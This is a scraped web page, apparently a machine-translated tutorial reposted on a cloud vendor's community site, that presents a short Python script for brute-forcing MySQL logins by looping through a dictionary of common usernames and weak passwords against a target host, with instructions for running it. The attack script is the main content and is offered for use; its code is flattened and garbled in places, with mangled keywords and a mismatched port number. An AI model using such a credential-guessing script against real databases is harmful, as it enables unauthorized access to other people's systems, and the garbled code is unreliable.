Python Mysql brute-force cracking script and pythonmysql brute-force cracking

Source: Internet
Author: User
Tags python mysql

Python Mysql brute-force cracking script and pythonmysql brute-force cracking

Mysql pythonplug-in is installed with mysql-python.exe. You can see that the amount of code is very small. (Note: the username and password are similar to the dictionary. Usage: Save the code as MysqlDatabaseBlasting. py. Run cmd to switch to the MysqlDatabaseBlasting. py path and execute MysqlDatabaseBlasting. py to start cracking)

Import MySQLdb # coding = gbk # target IP address mysql database must be enabled 3360 remote login port mysql_username = ('root', 'test', 'admin', 'user ') # account dictionary common_weak_password = ('', '000000', 'test', 'root', 'admin', 'user ') # password dictionary success = Falsehost = "127.0.0.1" # Database IP address port = 3306for username in mysql_username: for password in common_weak_password: try: db = MySQLdb. connect (host, username, password) success = True if success: print username, password login t Exception, e: pass

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.